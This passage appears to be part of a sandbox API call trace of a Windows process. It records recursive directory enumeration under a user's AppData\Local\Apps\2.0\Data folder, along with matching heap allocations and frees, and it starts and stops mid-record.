ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 1 [0035.373] lstrcmpW (lpString1="CJW3O3KP.BX7", lpString2=".") returned 1 [0035.373] lstrcmpW (lpString1="CJW3O3KP.BX7", lpString2="..") returned 1 [0035.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d4e8 [0035.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60cdc0 [0035.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x60ce48 [0035.373] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0035.373] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0035.373] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4e8 | out: hHeap=0x5b0000) returned 1 [0035.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x60cf10 [0035.373] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5cc550 [0035.373] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0035.374] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.374] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.374] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.374] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.374] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 1 [0035.374] lstrcmpW (lpString1="6NG60CXZ.9GJ", lpString2=".") returned 1 [0035.374] lstrcmpW (lpString1="6NG60CXZ.9GJ", lpString2="..") returned 1 [0035.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d4e8 [0035.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5d1760 [0035.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x5d17f8 [0035.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0035.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0035.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4e8 | out: hHeap=0x5b0000) returned 1 [0035.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d18d8 [0035.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5cc550 [0035.374] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0035.374] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.374] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.375] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.375] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.375] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1 [0035.375] lstrcmpW (lpString1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", lpString2=".") returned 1 [0035.375] lstrcmpW (lpString1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", lpString2="..") returned 1 [0035.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5d1990 [0035.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x60c798 [0035.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x60c850 [0035.375] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0035.375] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0035.375] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1990 | out: hHeap=0x5b0000) returned 1 [0035.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5cc550 [0035.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x6105c0 [0035.375] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0035.376] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.376] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.376] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.376] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.376] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0035.376] lstrcmpW (lpString1="Data", lpString2=".") returned 1 [0035.376] lstrcmpW (lpString1="Data", lpString2="..") returned 1 [0035.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x6107d8 [0035.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0035.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x610900 [0035.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x6105c0 [0035.376] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0035.377] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.377] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.377] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.377] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.377] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0035.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d2850 [0035.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0035.377] FindClose (in: hFindFile=0x6005d0 | out: hFindFile=0x6005d0) returned 1 [0035.378] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0035.378] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.378] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0035.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0035.378] FindClose (in: hFindFile=0x6005d0 | out: hFindFile=0x6005d0) returned 1 [0035.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610900 | out: hHeap=0x5b0000) returned 1 [0035.378] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0035.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x610900 [0035.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6107d8 | out: hHeap=0x5b0000) returned 1 [0035.378] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0035.378] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0035.378] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.378] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0035.378] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0035.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610900 | out: hHeap=0x5b0000) returned 1 [0035.378] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0035.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0035.378] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 0 [0035.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x60c798 [0035.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c850 | out: hHeap=0x5b0000) returned 1 [0035.378] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0035.379] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0035.379] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.379] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1 [0035.379] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 0 [0035.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0035.379] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0035.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d18d8 | out: hHeap=0x5b0000) returned 1 [0035.379] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 0 [0035.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5d1760 [0035.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x5d18d8 [0035.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0035.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d17f8 | out: hHeap=0x5b0000) returned 1 [0035.379] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0035.379] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0035.380] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.380] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 1 [0035.380] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 0 [0035.380] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d18d8 | out: hHeap=0x5b0000) returned 1 [0035.380] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0035.380] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf10 | out: hHeap=0x5b0000) returned 1 [0035.380] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 0 [0035.380] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60cdc0 [0035.380] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ce48 | out: hHeap=0x5b0000) returned 1 [0035.380] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0035.552] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0035.552] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.553] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 1 [0035.553] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 0 [0035.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0035.553] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0035.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0035.553] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, 